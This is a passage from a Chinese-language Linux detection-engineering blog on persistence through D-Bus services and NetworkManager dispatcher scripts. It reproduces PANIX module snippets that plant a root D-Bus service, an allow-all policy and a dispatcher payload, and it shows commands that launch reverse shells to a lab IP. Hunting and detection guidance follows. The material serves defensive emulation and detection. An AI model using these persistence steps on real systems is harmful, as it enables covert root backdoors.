- 罕见或异常事件检测:通过分析进程执行和文件活动的相关性,识别不常见的文件修改或创建事件。这有助于揭示细微的入侵指标。
通过将 PolicyKit 持久化搜寻规则与上述定制检测查询相结合,分析人员可以有效地识别和响应 T1543。
T1543 - 创建或修改系统进程:D-Bus
D-Bus (Desktop Bus) 是一种进程间通信 (IPC) 系统,广泛用于 Linux 和其他类 Unix 操作系统。它作为一个结构化的消息总线,能够使进程、系统服务和应用程序进行通信和协调操作。作为现代 Linux 环境的基石,D-Bus 提供了系统范围和用户特定通信的框架。
D-Bus 的核心功能是通过提供标准化的消息发送和接收机制来促进进程之间的交互,从而消除对定制 IPC 解决方案的需求,同时提高效率和安全性。它通过两个主要通信渠道进行操作:
- System Bus:用于系统级服务与特权操作之间的通信,例如管理硬件或网络配置。
- Session Bus:用于用户级应用程序之间的通信,例如桌面通知或媒体播放器。
D-Bus 守护进程管理消息总线,确保消息在进程间安全路由。进程在总线上以唯一名称注册,并提供包含方法、信号和属性的接口,供其他进程进行交互。D-Bus 通信的核心组件如下:
接口:
- 定义服务所提供的方法、信号和属性的集合。
- 示例:
org.freedesktop.NetworkManager
提供管理网络连接的方法。
方法:
- 允许外部进程调用特定操作或请求信息。
- 示例:可以调用方法
org.freedesktop.NetworkManager.Reload
来重新加载网络服务。
信号:
- 服务发送的通知,用于告知其他进程有关事件的信息。
- 示例:信号可能指示网络连接状态变化。
例如,以下命令向系统总线发送一条消息,以调用 NetworkManager
服务上的 Reload
方法:
dbus-send --system --dest=org.freedesktop.NetworkManager /org/freedesktop/NetworkManager org.freedesktop.NetworkManager.Reload uint32:0
D-Bus 服务是注册在总线上以提供功能的应用程序或守护进程。如果请求的服务未运行,D-Bus 守护进程可以使用预定义的服务文件自动启动该服务。
这些服务使用带有 .service
扩展名的服务文件来告知 D-Bus 如何启动服务。例如:
[D-BUS Service]
Name=org.freedesktop.MyService
Exec=/usr/bin/my-service
User=root
D-Bus 服务文件可能位于多个不同的位置,这取决于这些服务是在系统范围内运行还是在用户级别运行,也取决于体系结构和 Linux 发行版。以下是所使用位置的概述,这不是一个详尽的列表,因为不同的发行版使用不同的默认位置:
- 系统范围配置和服务:
- 系统服务文件:
/usr/share/dbus-1/system-services/
/usr/local/share/dbus-1/system-services/
- 系统策略文件:
/etc/dbus-1/system.d/
/usr/share/dbus-1/system.d/
- 系统配置文件:
/etc/dbus-1/system.conf
/usr/share/dbus-1/system.conf
- 系统服务文件:
- 会话范围的配置和服务:
- 会话服务文件:
/usr/share/dbus-1/session-services/
~/.local/share/dbus-1/services/
- 会话策略文件:
/etc/dbus-1/session.d/
/usr/share/dbus-1/session.d/
- 会话配置文件:
/etc/dbus-1/session.conf
/usr/share/dbus-1/session.conf
- 会话服务文件:
如需每条路径的更多详细信息,请参见此处。用 XML 编写的 D-Bus 策略定义了 D-Bus 服务的访问控制规则。这些策略规定了谁可以执行诸如发送消息、接收响应或拥有特定服务等操作。它们对于控制对特权操作的访问和确保服务不被滥用至关重要。D-Bus 策略有几个关键组成部分:
- 语境:
- 策略可以应用于特定用户、群组或默认上下文(
default
适用于所有用户,除非被覆盖)。
- 允许/拒绝规则:
- 规则明确授予 (
allow
) 或限制 (deny
) 对方法、接口或服务的访问权限。
- 粒度:
- 策略可以在多个层级控制访问:
- 完整的服务(例如
org.freedesktop.MyService
)。 - 特定的方法或接口(例如,
org.freedesktop.MyService.SecretMethod
)。
- 完整的服务(例如
以下示例展示了一种实施明确访问限制的 D-Bus 策略:
<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-Bus Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
<!-- Default policy: Deny all access -->
<policy context="default">
<deny send_destination="org.freedesktop.MyService"/>
</policy>
<!-- Allow only users in the "admin" group to access specific methods -->
<policy group="admin">
<allow send_interface="org.freedesktop.MyService.PublicMethod"/>
</policy>
<!-- Allow root to access all methods -->
<policy user="root">
<allow send_destination="org.freedesktop.MyService"/>
</policy>
</busconfig>
此政策:
- 默认情况下,拒绝所有对服务
org.freedesktop.MyService
的访问。 - 授予
admin
组中的用户访问特定接口(org.freedesktop.MyService.PublicMethod
)的权限。 - 为
root
用户授予对org.freedesktop.MyService
目的地的完全访问权限。
D-Bus 在 IPC 中的核心作用使其成为了攻击者的潜在目标。潜在的攻击向量包括:
- 劫持或注册恶意服务:
- 攻击者可以替换或添加
.service
文件,例如/usr/share/dbus-1/system-services/
劫持合法通信或注入恶意代码。
- 攻击者可以替换或添加
- 创建或利用过度授权策略:
- 薄弱的策略(例如授予所有用户访问关键服务的权限)可能会使攻击者能够调用特权方法。
- 滥用易受攻击的服务:
- 如果 D-Bus 服务未正确验证输入,攻击者可能会执行任意代码或进行未经授权的操作。
上述示例可用于权限提升、防御规避和持久化。目前,MITRE ATT&CK 没有针对 D-Bus 的特定子技术。但是,其滥用与 T1543:创建或修改系统进程以及 T1574:劫持执行流程密切相关,适用于修改 .service
文件的情况。
在下一节中,我们将探讨攻击者如何设置过度宽松的 D-Bus 配置,以 root 权限发送反向连接,并讨论检测此行为的方法。
通过 T1543 实现持久性 - 创建或修改系统进程:D-Bus
我们已经了解了有关 D-Bus 设置的所有知识,现在可以探讨如何通过 setup_dbus.sh PANIX 模块在实践中模拟它了。PANIX 首先在 /usr/share/dbus-1/system-services/org.panix.persistence.service
创建一个 D-Bus 服务文件,内容如下:
cat <<'EOF' > "$service_file"
[D-BUS Service]
Name=org.panix.persistence
Exec=/usr/local/bin/dbus-panix.sh
User=root
EOF
该服务文件将监听 org.panix.persistence
接口,并执行 /usr/local/bin/dbus-panix.sh
“服务”。dbus-panix.sh
脚本在被调用时仅仅会启动一个反向 shell 连接:
cat <<EOF > "$payload_script"
#!/bin/bash
# When D-Bus triggers this service, execute payload.
${payload}
EOF
为了确保任何用户都被允许调用与接口相对应的操作,PANIX 设置了一个包含以下内容的 /etc/dbus-1/system.d/org.panix.persistence.conf
文件:
cat <<'EOF' > "$conf_file"
<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-Bus Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
<!-- Allow any user to own, send to, and access the specified service -->
<policy context="default">
<allow own="org.panix.persistence"/>
<allow send_destination="org.panix.persistence"/>
<allow send_interface="org.panix.persistence"/>
</policy>
</busconfig>
EOF
此配置定义了一个 D-Bus 策略,允许任何用户或进程拥有、向 org.panix.persistence
服务发送消息并与之交互,从而有效地授予不受限制的访问权限。重新启动 dbus
服务后,设置已完成。
要与服务交互,请使用以下命令:
dbus-send --system --type=method_call /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method
此命令向 D-Bus 系统总线发送方法调用,目标是 org.panix.persistence
服务,在 /org/panix/persistence
对象上调用 org.panix.persistence.Method
方法,从而有效触发后门。
请使用以下命令行参数运行 PANIX 模块:
> sudo ./panix.sh --dbus --default --ip 192.168.1.100 --port 2016
[+] Created/updated D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service
[+] Created/updated payload script: /usr/local/bin/dbus-panix.sh
[+] Created/updated D-Bus config file: /etc/dbus-1/system.d/org.panix.persistence.conf
[!] Restarting D-Bus...
[+] D-Bus restarted successfully.
[+] D-Bus persistence module completed. Test with:
dbus-send --system --type=method_call --print-reply /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method
在执行 dbus-send
命令时:
dbus-send --system --type=method_call --print-reply /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method
我们将查看 Kibana 中的文档:
执行 PANIX 后,将创建 org.panix.persistence.service
、dbus-panix.sh
和 org.panix.persistence.conf
文件,成功设置舞台。然后,重新启动 dbus
服务,并执行 dbus-send 命令以与 org.panix.persistence
服务进行交互。调用 org.panix.persistence.Method
方法时,dbus-panix.sh
后门被执行,并启动反向 shell 连接链(dbus-panix.sh
→ nohup
→ setsid
→ bash
)。
让我们来看看我们的检测机会:
涵盖 D-Bus 持久化的检测和终端规则
要还原任何更改,您可以通过运行相应的还原模块来实现:
> ./panix.sh --revert dbus
[*] Reverting D-Bus persistence module...
[+] Removing D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service...
[+] D-Bus service file removed.
[+] Removing payload script: /usr/local/bin/dbus-panix.sh
[+] Payload script removed.
[+] Removing D-Bus configuration file: /etc/dbus-1/system.d/org.panix.persistence.conf...
[+] D-Bus configuration file removed.
[*] Restarting D-Bus...
[+] D-Bus restarted successfully.
[+] D-Bus persistence reverted.
搜寻 T1543 - 创建或修改系统进程:D-Bus
我们可以使用 ES|QL 和 OSQuery 来寻找这种技术,重点关注与使用和修改 D-Bus 相关文件、服务和进程有关的可疑活动。该方法包括监测以下内容:
- 创建和/或修改 D-Bus 配置和服务文件:跟踪关键目录中的更改,例如系统范围和会话服务文件以及策略文件。监测这些路径有助于发现未经授权的添加或修改,这些操作可能表明存在针对 D-Bus 的恶意活动。
- D-Bus 文件的元数据分析:检查 D-Bus 配置文件的文件所有权、最后访问时间和修改时间戳。这可能会揭示未经授权的更改或意外文件的存在,这些文件可能表明有人试图通过 D-Bus 持续存在。
- 检测可疑进程:监测诸如
dbus-daemon
和dbus-send
之类的进程的执行,它们是 D-Bus 通信的关键组件。通过跟踪命令行、父进程和执行次数,可以识别异常或未经授权的使用。 - 检测罕见或异常事件:通过关联各端点的事件数据,识别不常见的文件修改或进程执行。这能够显示细微的受陷指标,例如对关键 D-Bus 配置的罕见更改或对 D-Bus 命令的意外使用。
通过将 Desktop Bus (D-Bus) 持久化搜寻规则与上述定制检测查询相结合,分析人员可以有效地识别和响应 T1543。
T1546 - 事件触发执行:NetworkManager
NetworkManager 是一个广泛使用的守护进程,用于管理 Linux 系统上的网络连接。它允许配置有线、无线、VPN 和其他网络接口,同时提供模块化和可扩展的设计。它有一个鲜为人知但强大的调度器功能,该功能提供了一种在网络事件发生时自动执行脚本的方法。当某些网络事件发生时(例如接口启动或关闭),NetworkManager 会调用位于此目录中的脚本。这些脚本以 root 身份运行,因此具有很高的特权。
- 事件类型:NetworkManager 将特定事件传递给脚本,例如:
up
:接口已激活。down
:接口已停用。vpn-up
:VPN 连接已建立。vpn-down
:VPN 连接已断开。
/etc/NetworkManager/dispatcher.d/
中的脚本是标准的 shell 脚本,必须标记为可执行文件。Dispatcher script 脚本的示例可能如下所示:
#!/bin/bash
INTERFACE=$1
EVENT=$2
if [ "$EVENT" == "up" ]; then
logger "Interface $INTERFACE is up. Executing custom script."
# Perform actions, such as logging, mounting, or starting services
/usr/bin/some-command --arg value
elif [ "$EVENT" == "down" ]; then
logger "Interface $INTERFACE is down. Cleaning up."
# Perform cleanup actions
fi
每当网络接口启动或关闭时,记录事件并执行命令。
要通过这种技术实现持久化,攻击者可以选择以下任意一个方法:
- 创建一个自定义脚本,将其标记为可执行文件,并将其放置在 dispatcher 目录中
- 修改合法的 dispatcher 脚本,以便在特定网络事件发生时执行一个有效负载。
通过 dispatcher.d/
实现持久化与 MITRE ATT&CK 框架中的 T1546:事件触发执行和 T1543:创建或修改系统进程一致。不过 NetworkManager dispatcher 脚本没有其自己的子技术。
在下一节中,我们将探讨如何利用 dispatcher 脚本来实现持久化,并将流程可视化,以支持有效的检测工程设计。
通过 T1546 - 事件触发执行实现持久性:
这种技术的概念非常简单,现在让我们通过 setup_network_manager.sh PANIX 模块来付诸实践。该模块检查 NetworkManager 包是否可用,以及 /etc/NetworkManager/dispatcher.d/
路径是否存在,因为这些是该技术正常工作的必要条件。接下来,它在 /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh
下创建一个新的 dispatcher 文件,末尾附有一个有效负载。最后,它授予 dispatcher 文件执行权限,之后它就可以被激活了。
cat <<'EOF' > "$dispatcher_file"
#!/bin/sh -e
if [ "$2" = "connectivity-change" ]; then
exit 0
fi
if [ -z "$1" ]; then
echo "$0: called with no interface" 1>&2
exit 1
fi
[...]
# Insert payload here:
__PAYLOAD_PLACEHOLDER__
EOF
chmod +x "$dispatcher_file"
我们仅收录了上面模块中最相关的片段。如果您有兴趣深入研究,请随时查看模块的源代码。
请使用以下命令行参数运行 PANIX 模块:
> sudo ./panix.sh --network-manager --default --ip 192.168.1.100 --port 2017
[+] Created new dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh
[+] Replaced payload placeholder with actual payload.
[+] Using dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh
现在,每当有新的网络事件触发时,有效载荷就会被执行。这可以通过重新启动 NetworkManager 服务、某个接口或重启来完成。让我们看一下 Kibana 中的文档:
在 PANIX 执行时,panix-dispatcher.sh
脚本被创建并标记为可执行,使用 sed
将有效负载添加到脚本的底部。通过 systemctl
重启 NetworkManager
服务后,我们可以看到 nm-dispatcher
执行 panix-dispatcher.sh
脚本,有效地触发反向 shell 链 (panix-dispatcher.sh
→ nohup
→ setsid
→ bash
)。
最后,让我们来看看我们的检测机会:
涵盖网络管理器持久化的检测和终端规则
类别 | 覆盖范围 |
---|---|
File | NetworkManager Dispatcher 脚本创建 |
通过文件修改实现持久性 | |
流程 | 通过 NetworkManager 调度脚本运行 Shell |
网络 | 通过 NetworkManager Dispatcher 脚本实现反向 Shell |
要还原任何更改,您可以通过运行相应的还原模块来实现:
> ./panix.sh --revert network-manager
[+] Checking for payload in /etc/NetworkManager/dispatcher.d/01-ifupdown...
[+] No payload found in /etc/NetworkManager/dispatcher.d/01-ifupdown.
[+] Removing custom dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh...
[+] Custom dispatcher file removed.
[+] NetworkManager persistence reverted.
搜寻 T1546 - 事件触发执行:NetworkManager
我们可以使用 ES|QL 和 OSQuery 来查找这种技术,重点关注与 NetworkManager Dispatcher 脚本的创建、修改和执行相关的可疑活动。该方法包括监测以下内容:
- Dispatcher 脚本的创建和/或修改:跟踪
/etc/NetworkManager/dispatcher.d/
目录中的更改。监测新的或更改的脚本有助于检测可能表明恶意意图的未经授权的添加或修改。 - 检测可疑进程:监测由
nm-dispatcher
执行的进程或位于/etc/NetworkManager/dispatcher.d/
的脚本。通过分析命令行、父进程和执行次数,可以识别异常或未经授权的脚本执行。 - 调度脚本的元数据分析:检查
/etc/NetworkManager/dispatcher.d/
中的文件所有权、最后访问时间和修改时间戳。这可以揭示文件属性中未经授权的更改或异常,这些可能表明存在持久化尝试。
通过将 NetworkManager Dispatcher Script 持久化搜寻规则与上述定制检测查询相结合,分析人员可以有效地识别和响应 T1546。
结论
在“Linux 检测工程”系列的第五章和最后一章中,我们将注意力转向了植根于 Linux 启动过程、身份验证系统、进程间通信和核心实用程序的持久化机制。我们从基于 GRUB 的持久化和 initramfs 的操作开始,涵盖了手动方法和使用 Dracut 的自动化方法。接下来,我们探讨了基于 Polkit 的持久化,然后深入研究了 D-Bus 的利用,最后讨论了 NetworkManager dispatcher 脚本,强调了它们在持久化场景中被滥用的可能性。
在整个系列中,PANIX 在演示和模拟这些技术方面发挥了关键作用,让您能够测试检测能力并加强防御能力。结合提供的定制 ES|QL 和 OSQuery 查询,这些工具让您能够有效识别和应对最先进的持久化机制。
在结束本系列时,我们希望您能有信心应对 Linux 持久性威胁。凭借实用的知识、可行的策略和实践经验,您已做好充分准备,抵御针对 Linux 环境的对手。感谢您加入我们,并一如既往地保持警惕,祝您狩猎愉快!